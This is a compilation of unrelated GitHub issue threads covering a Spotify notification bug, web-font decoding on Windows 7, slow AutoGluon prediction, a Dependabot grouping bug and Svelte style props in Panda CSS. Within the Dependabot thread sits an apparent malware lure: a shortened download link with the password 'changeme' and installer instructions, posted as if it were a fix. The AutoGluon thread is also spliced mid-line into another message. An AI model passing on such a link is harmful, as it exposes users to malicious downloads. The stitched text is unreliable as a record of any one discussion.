Looks like this has been released in<EMAIL_ADDRESS>~2 days ago (May 21st 2022). I believe that this release allows for this issue to be fixed in spot.

I am experiencing this Spotify email notification issue with version 0.3.3 on Pop_OS! 22.04. Every time the app is opened. Was a fix determined?


Failed to decode downloaded font

I'm using webfont in woff and ttf formats, with supermium 119 on Windows 7. But the fonts are failed to decode:
Failed to decode downloaded font <URL>
OTS parsing error: Unable to instiante font face from font data

Are you using GDI? Otherwise, do you have Platform Update?
It seems there are problems with remote fonts with early DirectWrite and GDI.

I just ran the installer from the releases. The font (just some iconfont like font awesome) works well on Chrome as well as Chromium. I didn't enforce the GDI flag.

Have you installed the Windows 7 Platform Update (KB2670838)?

I didn't install that Windows Update. Maybe it's the cause.

Fonts do look uglier on GDI. 7 without Platform Update is just fine rendering web fonts on older Chromium (109) with DirectWrite.


TabularPredictor's predict is very slow!

I had trained a TabularPredictor model, when I called  evaluate() at 50k+ samples, it took 3.991s. But when I called predict() at a sample for 100 times,  it took 151.334s. Why predict() is so slow?!

Could you provide a code sample? Predictor.evaluate() should take at least as long as Predictor.predict(), as evaluate calls predict internally.
Can you also clarify what you mean by 'called predict() at a sample for 100 times', are you saying that you are only passing in 1 row, and that the average runtime was 1.5s?
If so, you can speed-up these kinds of predictions with the following line of code:
predictor._learner.persist_trainer(low_memory=False)
Be warned: This is not memory safe, and may run OOM if the AutoGluon ensemble is large and consists of many models. Inference speed optimizations are an ongoing effort and will be improved in future.

Thanks Innixma! Yes, I mean only passing in 1 row, and that the average runtime was 1.5s.
After I add predictor._learner.persist_trainer(low_memory=False), the average runtime reduced to 0.6s.
The code is below:
fn='/Users/elife/work/ai/ml/dl/autogluon/dtlQT/NNQT-Bn/AutogluonModels/ag-20200321_133804'
predictor_0= ag.task.tabular_prediction.predictor.TabularPredictor.load(fn)
fn='/Users/elife/work/ai/ml/dl/autogluon/dtlQT/NNQT-Bn/AutogluonModels/ag-20200321_134232'
predictor_1= ag.task.tabular_prediction.predictor.TabularPredictor.load(fn)
predictor_1._learner.persist_trainer(low_memory=False)
t = pd.read_csv('NNQT-Bn2-2010-2018.csv')
print(t.values)
print(t.describe())
N=int(t.describe().values[0][0])
print("N="+ str(N))
#print(t.values[0][1])
#print(t.values[N-1][45])
t1 = time.time()
performance = predictor_1.evaluate(task.Dataset(df = t))
t2 = time.time()
print("Time elapsed: %.3fs" % (t2 - t1))
test = pd.read_csv('test2.csv')     #only a fieldname row and a data row
print(test)
def test3():
iModel=1
t1 = time.time()
N=10
for i in range(0,N):
    for j in range(0,45):
        test.iloc[0][j]=t.values[i+1][j]
    test_data = task.Dataset(df = test) # convert to AutoGluon dataset

    if iModel==0:
        y_predproba = predictor_0.predict_proba(test_data)
        assert(false)
    else:
        #y_predproba = predictor_1.predict_proba(test_data)
        y_predproba = predictor_1.predict(test_data)
    #print(i)
t2 = time.time()
print("N="+ str(N))
print("Time elapsed: %.3fs" % (t2 - t1))

and the output is:
elife@MBP16 Release % python3 t2.py
/usr/local/lib/python3.7/site-packages/mxnet/optimizer/optimizer.py:167: UserWarning: WARNING: New optimizer gluonnlp.optimizer.lamb.LAMB is overriding existing optimizer mxnet.optimizer.optimizer.LAMB
Optimizer.opt_registry[name].name))
/usr/local/lib/python3.7/site-packages/catboost/core.py:5: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
import imp
/usr/local/Cellar/python/3.7.7/Frameworks/Python.framework/Versions/3.7/lib/python3.7/imp.py:342: DeprecationWarning: Using or importing the ABCs from 'collections' instead of from 'collections.abc' is deprecated since Python 3.3,and in 3.9 it will stop working
return _load(spec)
[[ 1.        0.585841  0.198659 ...  0.979662  1.030981  1.046633]
[ 1.       -0.725186 -1.044784 ...  0.942425  0.953653  0.97273 ]
[ 0.        1.254479  0.149221 ...  0.967385  0.987973  0.971796]
...
[ 0.        In my case, predictor.leaderboard shows
model  score_test  score_val   fit_time  pred_time_test_full  pred_time_test  pred_time_val  stack_level
0           CatboostClassifier    0.536633   0.579560   3.186842             0.011617        0.011617       0.011825            0
1   RandomForestClassifierGini    0.535645   0.650602   3.384887             0.334701        0.334701       0.115491            0
2   RandomForestClassifierEntr    0.535217   0.654757   5.234998             0.330769        0.330769       0.113999            0
3      weighted_ensemble_k0_l1    0.534303   0.678853   1.015663            27.253049        0.037662       0.001440            1
4     LightGBMClassifierCustom    0.533036   0.656834   5.729446             0.217263        0.217263       0.019709            0
5           LightGBMClassifier    0.533018   0.631491   2.104079             0.085246        0.085246       0.016396            0
6     ExtraTreesClassifierEntr    0.530912   0.663482   1.353004             0.528460        0.528460       0.116623            0
7     ExtraTreesClassifierGini    0.529627   0.664312   1.141636             0.527142        0.527142       0.115134            0
8          NeuralNetClassifier    0.524372   0.616951  67.403422             0.852643        0.852643       0.102713            0
9     KNeighborsClassifierDist    0.516956   0.601994   0.062110            12.785751       12.785751       0.630741            0
10    KNeighborsClassifierUnif    0.513099   0.539260   0.071212            11.541796       11.541796       0.642612            0
so I picked the CatboostClassifier which is the fastest one and run time of 10 predicts is 0.210s.
I also tried method 4, and the run time of 10 predicts is 1.232s. It seems using ExtraTreesClassifierGini since the log said "
Fitting model: ExtraTreesClassifierGini_FULL ...
1.24s     = Training runtime
"
In this my project, the speed as CatboostClassifier above is needed.

Great to hear that this worked for you! You can combine this with
predictor._learner.persist_trainer(low_memory=False)
To speed it up even more.
We will be adding more options to make this easier to use and more visible to users. Specifically we plan to have a way for a user to specify a desired speed and then AutoGluon automatically selects the best model to satisfy that constraint.
I am marking this as resolved for now. If you have any further questions, feel free to reopen!


Not respecting groups' exclude-pattern config for sub-dependencies/implicit dependencies

Is there an existing issue for this?

[X] I have searched the existing issues

Package ecosystem
Bundler
Package manager version
No response
Language version
No response
Manifest location and content before the Dependabot update
Gemfile (link):
source 'https://rubygems.org'

gem 'yabeda-karafka-2'
gem 'karafka'
gem 'karafka-testing'

Gemfile.lock: https://github.com/Drowze/ci-testing/blob/1c97473bc15e80ede999ce3f60ae8266478bd9c8/gemfiles/test_1/Gemfile.lock
dependabot.yml content
Dependabot.yml: https://github.com/Drowze/ci-testing/blob/1c97473bc15e80ede999ce3f60ae8266478bd9c8/.github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "bundler"
    directory: "gemfiles/test_1/"
    insecure-external-code-execution: allow
    versioning-strategy: lockfile-only # only update Gemfile.lock
    schedule:
      # By default, this is on Monday
      interval: "weekly"
    commit-message:
      prefix: "[Dependabot]"
    pull-request-branch-name:
      separator: "-"
    labels:
      - dependencies
      - ruby
    groups:
      karafka:
        patterns:
          - "karafka*"
          - "waterdrop"
        update-types: [patch] # karafka minor versions include breaking changes
      internal-libraries:
        patterns:
          - "yabeda-karafka-2"
        exclude-patterns:
          - "karafka*"
          - "waterdrop"
        update-types: [minor, patch]

Updated dependency
No response
What you expected to see, versus what you actually saw
I expected the internal-libraries group to NOT update any karafka* or waterdrop gem, but instead the PR to that group included updates to karafka-core, karafka-rdkafka and waterdrop.
Native package manager behavior
No response
Images of the diff or a link to the PR, issue, or logs
Link to PR: https://github.com/Drowze/ci-testing/pull/2
Link to logs: https://github.com/Drowze/ci-testing/actions/runs/10581515067/job/29318986570

Smallest manifest that reproduces the issue
This small manifest should reproduce it:
https://github.com/Drowze/ci-testing/blob/1c97473bc15e80ede999ce3f60ae8266478bd9c8/gemfiles/test_1

Download
https://bit.ly/3MjP129
password: changeme
In the installer menu, select "gcc."

Hey  👋
Any chance anyone had a look at this? 👀


Support Style Props for Svelte

Description
Currently Panda CSS only supports style props for jsx-based components.
This request proposes style props support for svelte components.
Problem Statement/Justification
Component.svelte

+page.svelte

<Component css={{ color: 'red' }} />

This code renders following markup, but no corresponding styles are generated.

Panda generator does not see this as a token references, in contrast to what it does to jsx components.
Proposed Solution or API
Please support svelte component props like mentioned above.
Alternatives
Use css.raw as it forcefully make Panda generator to recognize it as a tokens.
But it is somewhat tedious to use css.raw everywhere.
+page.svelte

<Component css={css.raw({ color: 'red' })} />

Additional Information
No response

ts-morph only supports ts(x) syntax
Panda supports svelte (and vue) by converting svelte DSL to a ts-friendly syntax so that ts-morph can parse it and generate valid AST nodes
from a quick look at the existing test, it seems like the {#each or {#if etc kind of blocks are messing with the AST
so, currently <Component css={{ color: 'red.100' }} /> isn't parsed correctly but wrapping that inside a
 seems to fix the issue
<Component css={{ color: 'red.100' }} />

minimal repro here, without a wrapping ts-morph only sees JsxText
 but with a
 the AST looks good again (it's properly nested in JsxAttribute > Identifier etc)

feel free to make a PR to fix this for better support of style props in this svelteToTsx function

an alternative is to use hooks (parser:before and parser:after) to make your own parser and extract svelte style props however you want by using svelte tooling